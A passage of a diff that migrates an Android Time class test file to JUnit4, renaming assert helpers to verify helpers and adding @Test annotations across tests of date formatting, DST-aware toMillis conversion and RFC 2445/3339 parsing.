-        assertFormatEquals(t, "%W", "22");
-        assertFormatEquals(t, "%w", "3");
-        assertFormatEquals(t, "%X", "12:30:15");
-        assertFormatEquals(t, "%x", "1 juin 2005");
-        assertFormatEquals(t, "%y", "05");
-        assertFormatEquals(t, "%Y", "2005");
-        assertFormatEquals(t, "%Z", "GMT+02:00");
-        assertFormatEquals(t, "%z", "+0200");
-        assertFormatEquals(t, "%+", "mer. juin  1 12:30:15 GMT+02:00 2005");
-        assertFormatEquals(t, "%%", "%");
+        verifyFormatEquals(t, "%s", "1117621815");
+        verifyFormatEquals(t, "%T", "12:30:15");
+        verifyFormatEquals(t, "%t", "\t");
+        verifyFormatEquals(t, "%U", "22");
+        verifyFormatEquals(t, "%u", "3");
+        verifyFormatEquals(t, "%V", "22");
+        verifyFormatEquals(t, "%v", " 1-juin-2005");
+        verifyFormatEquals(t, "%W", "22");
+        verifyFormatEquals(t, "%w", "3");
+        verifyFormatEquals(t, "%X", "12:30:15");
+        verifyFormatEquals(t, "%x", "1 juin 2005");
+        verifyFormatEquals(t, "%y", "05");
+        verifyFormatEquals(t, "%Y", "2005");
+        verifyFormatEquals(t, "%Z", "GMT+02:00");
+        verifyFormatEquals(t, "%z", "+0200");
+        verifyFormatEquals(t, "%+", "mer. juin  1 12:30:15 GMT+02:00 2005");
+        verifyFormatEquals(t, "%%", "%");
 
         // Modifiers
 
-        assertFormatEquals(t, "%EC", "20");
-        assertFormatEquals(t, "%OC", "20");
+        verifyFormatEquals(t, "%EC", "20");
+        verifyFormatEquals(t, "%OC", "20");
 
-        assertFormatEquals(t, "%_+", "mer. juin  1 12:30:15 GMT+02:00 2005");
-        assertFormatEquals(t, "%-+", "mer. juin  1 12:30:15 GMT+02:00 2005");
-        assertFormatEquals(t, "%0+", "mer. juin  1 12:30:15 GMT+02:00 2005");
-        assertFormatEquals(t, "%^+", "mer. juin  1 12:30:15 GMT+02:00 2005");
-        assertFormatEquals(t, "%#+", "mer. juin  1 12:30:15 GMT+02:00 2005");
+        verifyFormatEquals(t, "%_+", "mer. juin  1 12:30:15 GMT+02:00 2005");
+        verifyFormatEquals(t, "%-+", "mer. juin  1 12:30:15 GMT+02:00 2005");
+        verifyFormatEquals(t, "%0+", "mer. juin  1 12:30:15 GMT+02:00 2005");
+        verifyFormatEquals(t, "%^+", "mer. juin  1 12:30:15 GMT+02:00 2005");
+        verifyFormatEquals(t, "%#+", "mer. juin  1 12:30:15 GMT+02:00 2005");
 
-        assertFormatEquals(t, "%_A", "mercredi");
-        assertFormatEquals(t, "%-A", "mercredi");
-        assertFormatEquals(t, "%0A", "mercredi");
-        assertFormatEquals(t, "%^A", "MERCREDI");
-        assertFormatEquals(t, "%#A", "MERCREDI");
+        verifyFormatEquals(t, "%_A", "mercredi");
+        verifyFormatEquals(t, "%-A", "mercredi");
+        verifyFormatEquals(t, "%0A", "mercredi");
+        verifyFormatEquals(t, "%^A", "MERCREDI");
+        verifyFormatEquals(t, "%#A", "MERCREDI");
 
-        assertFormatEquals(t, "%_Y", "20 5");
-        assertFormatEquals(t, "%-Y", "205");
-        assertFormatEquals(t, "%0Y", "2005");
-        assertFormatEquals(t, "%^Y", "2005");
-        assertFormatEquals(t, "%#Y", "2005");
+        verifyFormatEquals(t, "%_Y", "20 5");
+        verifyFormatEquals(t, "%-Y", "205");
+        verifyFormatEquals(t, "%0Y", "2005");
+        verifyFormatEquals(t, "%^Y", "2005");
+        verifyFormatEquals(t, "%#Y", "2005");
 
-        assertFormatEquals(t, "%_d", " 1");
-        assertFormatEquals(t, "%-d", "1");
-        assertFormatEquals(t, "%0d", "01");
-        assertFormatEquals(t, "%^d", "01");
-        assertFormatEquals(t, "%#d", "01");
+        verifyFormatEquals(t, "%_d", " 1");
+        verifyFormatEquals(t, "%-d", "1");
+        verifyFormatEquals(t, "%0d", "01");
+        verifyFormatEquals(t, "%^d", "01");
+        verifyFormatEquals(t, "%#d", "01");
     }
 
-    public void testFormat_tokensJapanLocale() throws Exception {
+    @Test
+    public void testFormat_tokensJapanLocale() {
         if (!changeJavaAndAndroidLocale(Locale.JAPAN, false /* force */)) {
             Log.w(TAG, "Skipping testFormat_tokensJapanLocale: no assets found");
             return;
@@ -1069,91 +1098,92 @@
         Fields.setDateTime(t, 2005, 5, 1, 12, 30, 15);
 
         // Prove the un-normalized fields are used.
-        assertFormatEquals(t, "%A", "日曜日");
+        verifyFormatEquals(t, "%A", "日曜日");
 
         // Set fields like weekday.
         t.normalize(true);
 
-        assertFormatEquals(t, "%A", "水曜日");
-        assertFormatEquals(t, "%a", "水");
-        assertFormatEquals(t, "%B", "6月");
-        assertFormatEquals(t, "%b", "6月");
-        assertFormatEquals(t, "%C", "20");
-        assertFormatEquals(t, "%c", "2005/06/01 12:30:15");
-        assertFormatEquals(t, "%D", "06/01/05");
-        assertFormatEquals(t, "%d", "01");
-        assertFormatEquals(t, "%E", "E");
-        assertFormatEquals(t, "%e", " 1");
-        assertFormatEquals(t, "%F", "2005-06-01");
-        assertFormatEquals(t, "%G", "2005");
-        assertFormatEquals(t, "%g", "05");
-        assertFormatEquals(t, "%H", "12");
-        assertFormatEquals(t, "%h", "6月");
-        assertFormatEquals(t, "%I", "12");
-        assertFormatEquals(t, "%j", "152");
-        assertFormatEquals(t, "%k", "12");
-        assertFormatEquals(t, "%l", "12");
-        assertFormatEquals(t, "%M", "30");
-        assertFormatEquals(t, "%m", "06");
-        assertFormatEquals(t, "%n", "\n");
-        assertFormatEquals(t, "%O", "O");
-        assertFormatEquals(t, "%p", "午後");
-        assertFormatEquals(t, "%P", "午後");
-        assertFormatEquals(t, "%R", "12:30");
-        assertFormatEquals(t, "%r", "12:30:15 午後");
-        assertFormatEquals(t, "%S", "15");
+        verifyFormatEquals(t, "%A", "水曜日");
+        verifyFormatEquals(t, "%a", "水");
+        verifyFormatEquals(t, "%B", "6月");
+        verifyFormatEquals(t, "%b", "6月");
+        verifyFormatEquals(t, "%C", "20");
+        verifyFormatEquals(t, "%c", "2005/06/01 12:30:15");
+        verifyFormatEquals(t, "%D", "06/01/05");
+        verifyFormatEquals(t, "%d", "01");
+        verifyFormatEquals(t, "%E", "E");
+        verifyFormatEquals(t, "%e", " 1");
+        verifyFormatEquals(t, "%F", "2005-06-01");
+        verifyFormatEquals(t, "%G", "2005");
+        verifyFormatEquals(t, "%g", "05");
+        verifyFormatEquals(t, "%H", "12");
+        verifyFormatEquals(t, "%h", "6月");
+        verifyFormatEquals(t, "%I", "12");
+        verifyFormatEquals(t, "%j", "152");
+        verifyFormatEquals(t, "%k", "12");
+        verifyFormatEquals(t, "%l", "12");
+        verifyFormatEquals(t, "%M", "30");
+        verifyFormatEquals(t, "%m", "06");
+        verifyFormatEquals(t, "%n", "\n");
+        verifyFormatEquals(t, "%O", "O");
+        verifyFormatEquals(t, "%p", "午後");
+        verifyFormatEquals(t, "%P", "午後");
+        verifyFormatEquals(t, "%R", "12:30");
+        verifyFormatEquals(t, "%r", "12:30:15 午後");
+        verifyFormatEquals(t, "%S", "15");
         // The original C implementation uses the (native) system default TZ, not the timezone of
         // the Time to calculate this and was therefore not stable. This changed to use the Time's
         // timezone when the Time class was re-written in Java.
-        assertFormatEquals(t, "%s", "1117596615");
-        assertFormatEquals(t, "%T", "12:30:15");
-        assertFormatEquals(t, "%t", "\t");
-        assertFormatEquals(t, "%U", "22");
-        assertFormatEquals(t, "%u", "3");
-        assertFormatEquals(t, "%V", "22");
-        assertFormatEquals(t, "%v", " 1-6月-2005");
-        assertFormatEquals(t, "%W", "22");
-        assertFormatEquals(t, "%w", "3");
-        assertFormatEquals(t, "%X", "12:30:15");
-        assertFormatEquals(t, "%x", "2005年6月1日");
-        assertFormatEquals(t, "%y", "05");
-        assertFormatEquals(t, "%Y", "2005");
-        assertFormatEquals(t, "%Z", "JST");
-        assertFormatEquals(t, "%z", "+0900");
-        assertFormatEquals(t, "%+", "水 6月  1 12:30:15 JST 2005");
-        assertFormatEquals(t, "%%", "%");
+        verifyFormatEquals(t, "%s", "1117596615");
+        verifyFormatEquals(t, "%T", "12:30:15");
+        verifyFormatEquals(t, "%t", "\t");
+        verifyFormatEquals(t, "%U", "22");
+        verifyFormatEquals(t, "%u", "3");
+        verifyFormatEquals(t, "%V", "22");
+        verifyFormatEquals(t, "%v", " 1-6月-2005");
+        verifyFormatEquals(t, "%W", "22");
+        verifyFormatEquals(t, "%w", "3");
+        verifyFormatEquals(t, "%X", "12:30:15");
+        verifyFormatEquals(t, "%x", "2005年6月1日");
+        verifyFormatEquals(t, "%y", "05");
+        verifyFormatEquals(t, "%Y", "2005");
+        verifyFormatEquals(t, "%Z", "JST");
+        verifyFormatEquals(t, "%z", "+0900");
+        verifyFormatEquals(t, "%+", "水 6月  1 12:30:15 JST 2005");
+        verifyFormatEquals(t, "%%", "%");
 
         // Modifiers
 
-        assertFormatEquals(t, "%EC", "20");
-        assertFormatEquals(t, "%OC", "20");
+        verifyFormatEquals(t, "%EC", "20");
+        verifyFormatEquals(t, "%OC", "20");
 
-        assertFormatEquals(t, "%_+", "水 6月  1 12:30:15 JST 2005");
-        assertFormatEquals(t, "%-+", "水 6月  1 12:30:15 JST 2005");
-        assertFormatEquals(t, "%0+", "水 6月  1 12:30:15 JST 2005");
-        assertFormatEquals(t, "%^+", "水 6月  1 12:30:15 JST 2005");
-        assertFormatEquals(t, "%#+", "水 6月  1 12:30:15 JST 2005");
+        verifyFormatEquals(t, "%_+", "水 6月  1 12:30:15 JST 2005");
+        verifyFormatEquals(t, "%-+", "水 6月  1 12:30:15 JST 2005");
+        verifyFormatEquals(t, "%0+", "水 6月  1 12:30:15 JST 2005");
+        verifyFormatEquals(t, "%^+", "水 6月  1 12:30:15 JST 2005");
+        verifyFormatEquals(t, "%#+", "水 6月  1 12:30:15 JST 2005");
 
-        assertFormatEquals(t, "%_A", "水曜日");
-        assertFormatEquals(t, "%-A", "水曜日");
-        assertFormatEquals(t, "%0A", "水曜日");
-        assertFormatEquals(t, "%^A", "水曜日");
-        assertFormatEquals(t, "%#A", "水曜日");
+        verifyFormatEquals(t, "%_A", "水曜日");
+        verifyFormatEquals(t, "%-A", "水曜日");
+        verifyFormatEquals(t, "%0A", "水曜日");
+        verifyFormatEquals(t, "%^A", "水曜日");
+        verifyFormatEquals(t, "%#A", "水曜日");
 
-        assertFormatEquals(t, "%_Y", "20 5");
-        assertFormatEquals(t, "%-Y", "205");
-        assertFormatEquals(t, "%0Y", "2005");
-        assertFormatEquals(t, "%^Y", "2005");
-        assertFormatEquals(t, "%#Y", "2005");
+        verifyFormatEquals(t, "%_Y", "20 5");
+        verifyFormatEquals(t, "%-Y", "205");
+        verifyFormatEquals(t, "%0Y", "2005");
+        verifyFormatEquals(t, "%^Y", "2005");
+        verifyFormatEquals(t, "%#Y", "2005");
 
-        assertFormatEquals(t, "%_d", " 1");
-        assertFormatEquals(t, "%-d", "1");
-        assertFormatEquals(t, "%0d", "01");
-        assertFormatEquals(t, "%^d", "01");
-        assertFormatEquals(t, "%#d", "01");
+        verifyFormatEquals(t, "%_d", " 1");
+        verifyFormatEquals(t, "%-d", "1");
+        verifyFormatEquals(t, "%0d", "01");
+        verifyFormatEquals(t, "%^d", "01");
+        verifyFormatEquals(t, "%#d", "01");
     }
 
-    public void testFormat2445() throws Exception {
+    @Test
+    public void testFormat2445() {
         Time t = new Time(Time.TIMEZONE_UTC);
         Fields.setDateTime(t, 2005, 5, 1, 12, 30, 15);
 
@@ -1171,22 +1201,24 @@
         assertEquals("2005000 T0 0 0 ", t.format2445());
     }
 
-    public void testFormat2445_doesNotNormalize() throws Exception {
+    @Test
+    public void testFormat2445_doesNotNormalize() {
         Time t = new Time(Time.TIMEZONE_UTC);
         Fields.set(t, 2005, 13, 32, 25, 61, 61, -2, -2, -2, -2);
 
         Time tCopy = new Time(t);
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
 
         assertEquals("20051432T256161Z", t.format2445());
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
 
         t.timezone = tCopy.timezone = "America/Los_Angeles";
         assertEquals("20051432T256161", t.format2445());
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
     }
 
-    public void testToString() throws Exception {
+    @Test
+    public void testToString() {
         Time t = new Time(Time.TIMEZONE_UTC);
         assertEquals("19700101T000000UTC(0,0,0,-1,0)", t.toString());
 
@@ -1194,25 +1226,28 @@
         assertEquals("19700101T000000America/Los_Angeles(0,0,0,-1,28800)", t.toString());
     }
 
-    public void testToString_doesNotNormalize() throws Exception {
+    @Test
+    public void testToString_doesNotNormalize() {
         Time t = new Time(Time.TIMEZONE_UTC);
         Fields.set(t, 2005, 13, 32, -1, -1, -1, -2, -2, -2, -2);
 
         Time tCopy = new Time(t);
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
 
         String r = t.toString();
         assertEquals("20051432T-1-1-1UTC(-2,-2,-2,-2,1141426739)", r);
 
-        Fields.assertTimeEquals(t, tCopy);
+        Fields.verifyTimeEquals(t, tCopy);
     }
 
-    public void testGetCurrentTimezone() throws Exception {
+    @Test
+    public void testGetCurrentTimezone() {
         String r = Time.getCurrentTimezone();
         assertEquals(TimeZone.getDefault().getID(), r);
     }
 
-    public void testSetToNow() throws Exception {
+    @Test
+    public void testSetToNow() {
         Time t = new Time(Time.TIMEZONE_UTC);
 
         // Time works in seconds so all millis values have to be divided by 1000, otherwise
@@ -1228,7 +1263,8 @@
         assertTrue(lowerBound <= actual && actual <= upperBound);
     }
 
-    public void testToMillis_utc() throws Exception {
+    @Test
+    public void testToMillis_utc() {
         Time t = new Time(Time.TIMEZONE_UTC);
 
         long winterTimeUtcMillis = 1167613323000L;
@@ -1284,7 +1320,8 @@
         assertEquals(summerTimeUtcMillis, r);
     }
 
-    public void testToMillis_dstTz() throws Exception {
+    @Test
+    public void testToMillis_dstTz() {
         Time t = new Time(PstPdt.ID);
 
         // A STD time
@@ -1296,68 +1333,71 @@
         assertEquals(stdTimeMillis, r);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(true, t, stdTimeMillis);
+        verifyToMillisResult(true, t, stdTimeMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(true, t, stdTimeMillis);
+        verifyToMillisResult(true, t, stdTimeMillis);
 
         long dstToStdCorrectionMillis =
                 PstPdt.getUtcOffsetMillis(false) - PstPdt.getUtcOffsetMillis(true);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
-        assertToMillisResult(false, t, stdTimeMillis);
+        verifyToMillisResult(false, t, stdTimeMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(false, t, stdTimeMillis + dstToStdCorrectionMillis);
+        verifyToMillisResult(false, t, stdTimeMillis + dstToStdCorrectionMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(false, t, stdTimeMillis);
+        verifyToMillisResult(false, t, stdTimeMillis);
 
         // A DST time
         long dstTimeUtcMillis = 1180659723000L;
         long dstTimeMillis = dstTimeUtcMillis - PstPdt.getUtcOffsetMillis(true);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
-        assertToMillisResult(true, t, dstTimeMillis);
+        verifyToMillisResult(true, t, dstTimeMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(true, t, dstTimeMillis);
+        verifyToMillisResult(true, t, dstTimeMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(true, t, dstTimeMillis);
+        verifyToMillisResult(true, t, dstTimeMillis);
 
         long stdToDstCorrectionMillis = -dstToStdCorrectionMillis;
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
-        assertToMillisResult(false, t, dstTimeMillis + stdToDstCorrectionMillis);
+        verifyToMillisResult(false, t, dstTimeMillis + stdToDstCorrectionMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(false, t, dstTimeMillis);
+        verifyToMillisResult(false, t, dstTimeMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
-        assertToMillisResult(false, t, dstTimeMillis);
+        verifyToMillisResult(false, t, dstTimeMillis);
     }
 
-    private static void assertToMillisResult(boolean toMillisArgument, Time t, long expectedResult) {
+    private static void verifyToMillisResult(boolean toMillisArgument, Time t,
+            long expectedResult) {
         long r = t.toMillis(toMillisArgument /* ignore isDst */);
         assertEquals(expectedResult, r);
     }
 
+    @Test
     public void testToMillis_doesNotNormalize() {
         Time t = new Time(Time.TIMEZONE_UTC);
 
         Fields.set(t, 2007, 13, 32, 25, 60, 60, -2 /* isDst */, Integer.MAX_VALUE, 367, 7);
 
         Time originalTime = new Time(t);
-        Fields.assertTimeEquals(t, originalTime);
+        Fields.verifyTimeEquals(t, originalTime);
 
         t.toMillis(true);
-        Fields.assertTimeEquals(originalTime, t);
+        Fields.verifyTimeEquals(originalTime, t);
 
         t.toMillis(false);
-        Fields.assertTimeEquals(originalTime, t);
+        Fields.verifyTimeEquals(originalTime, t);
     }
 
+    @Test
     public void testToMillis_skippedTime() {
         // Tests behavior around a transition from STD to DST that introduces an hour of "skipped"
         // time from 01:00 to 01:59.
@@ -1383,13 +1423,13 @@
             } else {
                 expectedTimeMillis = -1;
             }
-            assertToMillisResult(true, time, expectedTimeMillis);
+            verifyToMillisResult(true, time, expectedTimeMillis);
 
             // isDst = 0, toMillis(false)
             Fields.set(time, timeFields);
             time.isDst = 0;
             expectedTimeMillis = stdBaseTimeMillis + minutesInMillis;
-            assertToMillisResult(false, time, expectedTimeMillis);
+            verifyToMillisResult(false, time, expectedTimeMillis);
 
             // isDst = 1, toMillis(true)
             Fields.set(time, timeFields);
@@ -1401,13 +1441,13 @@
             } else {
                 expectedTimeMillis = -1;
             }
-            assertToMillisResult(true, time, expectedTimeMillis);
+            verifyToMillisResult(true, time, expectedTimeMillis);
 
             // isDst = 1, toMillis(false)
             Fields.set(time, timeFields);
             time.isDst = 1;
             expectedTimeMillis = dstBaseTimeMillis + minutesInMillis;
-            assertToMillisResult(false, time, expectedTimeMillis);
+            verifyToMillisResult(false, time, expectedTimeMillis);
 
             // isDst = -1, toMillis(true)
             Fields.set(time, timeFields);
@@ -1420,15 +1460,16 @@
             } else {
                 expectedTimeMillis = -1;
             }
-            assertToMillisResult(false, time, expectedTimeMillis);
+            verifyToMillisResult(false, time, expectedTimeMillis);
 
             // isDst = -1, toMillis(false)
             Fields.set(time, timeFields);
             time.isDst = -1;
-            assertToMillisResult(false, time, expectedTimeMillis);
+            verifyToMillisResult(false, time, expectedTimeMillis);
         }
     }
 
+    @Test
     public void testToMillis_duplicateWallTime() {
         // 1:00 in standard / 2:00 in DST
         long timeBaseMillis = 1194163200000L;
@@ -1460,7 +1501,7 @@
             // isDst = 0, toMillis(false)
             Fields.set(time, timeFields);
             time.isDst = 0;
-            assertToMillisResult(false, time,
+            verifyToMillisResult(false, time,
                     timeBaseMillis + minutesInMillis + dstCorrectionMillis);
 
             // isDst = 1, toMillis(true)
@@ -1481,7 +1522,7 @@
             // isDst = 1, toMillis(false)
             Fields.set(time, timeFields);
             time.isDst = 1;
-            assertToMillisResult(false, time, timeBaseMillis + minutesInMillis);
+            verifyToMillisResult(false, time, timeBaseMillis + minutesInMillis);
 
             // isDst = -1, toMillis(true)
             Fields.set(time, timeFields);
@@ -1517,59 +1558,63 @@
         }
     }
 
+    @Test
     public void testToMillis_beforeTzRecords() {
         int[] timeFields = new int[] { 1900, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
-        assertToMillisInvalid(timeFields, PstPdt.ID);
-        assertToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
+        verifyToMillisInvalid(timeFields, PstPdt.ID);
+        verifyToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
     }
 
-    private static void assertToMillisInvalid(int[] timeFields, String timezone) {
+    private static void verifyToMillisInvalid(int[] timeFields, String timezone) {
         Time time = new Time(timezone);
 
         // isDst = 0, toMillis(true)
         Fields.set(time, timeFields);
         time.isDst = 0;
-        assertToMillisResult(true, time, -1);
+        verifyToMillisResult(true, time, -1);
 
         // isDst = 0, toMillis(false)
         Fields.set(time, timeFields);
         time.isDst = 0;
-        assertToMillisResult(false, time, -1);
+        verifyToMillisResult(false, time, -1);
 
         // isDst = 1, toMillis(true)
         Fields.set(time, timeFields);
         time.isDst = 1;
-        assertToMillisResult(true, time, -1);
+        verifyToMillisResult(true, time, -1);
 
         // isDst = 1, toMillis(false)
         Fields.set(time, timeFields);
         time.isDst = 1;
-        assertToMillisResult(false, time, -1);
+        verifyToMillisResult(false, time, -1);
 
         // isDst = -1, toMillis(true)
         Fields.set(time, timeFields);
         time.isDst = -1;
-        assertToMillisResult(true, time, -1);
+        verifyToMillisResult(true, time, -1);
 
         // isDst = -1, toMillis(false)
         Fields.set(time, timeFields);
         time.isDst = -1;
-        assertToMillisResult(false, time, -1);
+        verifyToMillisResult(false, time, -1);
     }
 
+    @Test
     public void testToMillis_afterTzRecords() {
         int[] timeFields = new int[] { 2039, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
-        assertToMillisInvalid(timeFields, PstPdt.ID);
-        assertToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
+        verifyToMillisInvalid(timeFields, PstPdt.ID);
+        verifyToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
     }
 
+    @Test
     public void testToMillis_invalid() {
         int[] timeFields = new int[] { 0, 0, 0, 0, 0, 0, -999 /* not used */, 9, 9, 9 };
-        assertToMillisInvalid(timeFields, PstPdt.ID);
-        assertToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
+        verifyToMillisInvalid(timeFields, PstPdt.ID);
+        verifyToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
     }
 
-    public void testParse_date() throws Exception {
+    @Test
+    public void testParse_date() {
         String nonUtcTz = PstPdt.ID;
         Time t = new Time(nonUtcTz);
         assertFalse(t.parse("12345678"));
@@ -1577,80 +1622,78 @@
         Fields.setAllDayDate(expected, 1234, 55, 78);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    public void testParse_null() throws Exception {
+    @Test(expected=NullPointerException.class)
+    public void testParse_null() {
         Time t = new Time(Time.TIMEZONE_UTC);
-        try {
-            t.parse(null);
-            fail();
-        } catch (NullPointerException e) {
-        }
+        t.parse(null);
     }
 
-    public void testParse() throws Exception {
+    @Test
+    public void testParse() {
         Time t = new Time(Time.TIMEZONE_UTC);
         t.parse("20061005T120000");
 
         Time expected = new Time(Time.TIMEZONE_UTC);
         Fields.set(expected, 2006, 9, 5, 12, 0, 0, -1 /* isDst */, 0, 0, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    public void testParse_dateTime() throws Exception {
+    @Test
+    public void testParse_dateTime() {
         String nonUtcTz = PstPdt.ID;
         Time t = new Time(nonUtcTz);
         assertFalse(t.parse("12345678T901234"));
         Time expected = new Time(nonUtcTz);
         Fields.set(expected, 1234, 55, 78, 90, 12, 34, -1 /* isDst */, 0, 0, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         Time t2 = new Time(nonUtcTz);
         assertTrue(t2.parse("12345678T901234Z"));
         Time utcExpected = new Time(Time.TIMEZONE_UTC);
         Fields.set(utcExpected, 1234, 55, 78, 90, 12, 34, -1 /* isDst */, 0, 0, 0);
-        Fields.assertTimeEquals(utcExpected, t2);
+        Fields.verifyTimeEquals(utcExpected, t2);
     }
 
-    public void testParse_errors() throws Exception {
-        String nonUtcTz = PstPdt.ID;
-        try {
-            Time t = new Time(nonUtcTz);
-            t.parse(null);
-            fail();
-        } catch (NullPointerException e) {
-        }
+    @Test(expected=NullPointerException.class)
+    public void testParse_pstPdtNull() {
+        Time t = new Time(PstPdt.ID);
+        t.parse(null);
+    }
 
+    @Test
+    public void testParse_errors() {
         // Too short
-        assertParseError("");
-        assertParseError("1");
-        assertParseError("12");
-        assertParseError("123");
-        assertParseError("1234");
-        assertParseError("12345");
-        assertParseError("123456");
-        assertParseError("1234567");
+        verifyParseError("");
+        verifyParseError("1");
+        verifyParseError("12");
+        verifyParseError("123");
+        verifyParseError("1234");
+        verifyParseError("12345");
+        verifyParseError("123456");
+        verifyParseError("1234567");
 
         // No "T" in the expected place
-        assertParseError("12345678S");
+        verifyParseError("12345678S");
 
         // Invalid character in the first 8 characters.
-        assertParseError("12X45678");
+        verifyParseError("12X45678");
 
         // Too short for a date/time (15 or 16 characters allowed)
-        assertParseError("12345678T");
-        assertParseError("12345678T0");
-        assertParseError("12345678T01");
-        assertParseError("12345678T012");
-        assertParseError("12345678T0123");
-        assertParseError("12345678T01234");
+        verifyParseError("12345678T");
+        verifyParseError("12345678T0");
+        verifyParseError("12345678T01");
+        verifyParseError("12345678T012");
+        verifyParseError("12345678T0123");
+        verifyParseError("12345678T01234");
 
         // Invalid character
-        assertParseError("12345678T0X2345");
+        verifyParseError("12345678T0X2345");
     }
 
-    private static void assertParseError(String s) {
+    private static void verifyParseError(String s) {
         Time t = new Time(Time.TIMEZONE_UTC);
         try {
             t.parse(s);
@@ -1659,77 +1702,76 @@
         }
     }
 
-    public void testParse3339() throws Exception {
+    @Test
+    public void testParse3339() {
         String tz = Time.TIMEZONE_UTC;
         Time expected = new Time(tz);
         Fields.setAllDayDate(expected, 1980, 4, 23);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23", expected);
 
         Fields.setDateTime(expected, 1980, 4, 23, 9, 50, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50", expected);
 
         Fields.setDateTime(expected, 1980, 4, 23, 9, 50, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50Z", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50Z", expected);
 
         Fields.setDateTime(expected, 1980, 4, 23, 9, 50, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50.0Z", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50.0Z", expected);
 
         Fields.setDateTime(expected, 1980, 4, 23, 9, 50, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50.12Z", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50.12Z", expected);
 
         Fields.setDateTime(expected, 1980, 4, 23, 9, 50, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50.123Z", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50.123Z", expected);
 
         // The time should be normalized to UTC
         Fields.setDateTime(expected, 1980, 4, 23, 10, 55, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50-01:05", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50-01:05", expected);
 
         // The time should be normalized to UTC
         Fields.setDateTime(expected, 1980, 4, 23, 10, 55, 50);
         Fields.setDst(expected, -1 /* isDst */, 0);
         Fields.setDerivedDateTime(expected, 0, 0);
-        assertParse3339Succeeds(tz, "1980-05-23T09:50:50.123-01:05", expected);
+        verifyParse3339Succeeds(tz, "1980-05-23T09:50:50.123-01:05", expected);
     }
 
-    private static void assertParse3339Succeeds(String timeZone, String toParse, Time expected) {
+    private static void verifyParse3339Succeeds(String timeZone, String toParse, Time expected) {
         Time t = new Time(timeZone);
         t.parse3339(toParse);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
+    @Test
     public void testParse3339_parseErrors() {
         // Too short
-        assertParse3339Error("1980");
+        verifyParse3339Error("1980");
 
         // Timezone too short
-        assertParse3339Error("1980-05-23T09:50:50.123+");
-        assertParse3339Error("1980-05-23T09:50:50.123+05:0");
+        verifyParse3339Error("1980-05-23T09:50:50.123+");
+        verifyParse3339Error("1980-05-23T09:50:50.123+05:0");
     }
 
+    @Test(expected=NullPointerException.class)
     public void testParse3339_null() {
         Time t = new Time(Time.TIMEZONE_UTC);
-        try {
-            t.parse3339(null);
-            fail();
-        } catch (NullPointerException e) {
-        }
+        t.parse3339(null);
     }
 
-    private void assertParse3339Error(String s) {
+    private void verifyParse3339Error(String s) {
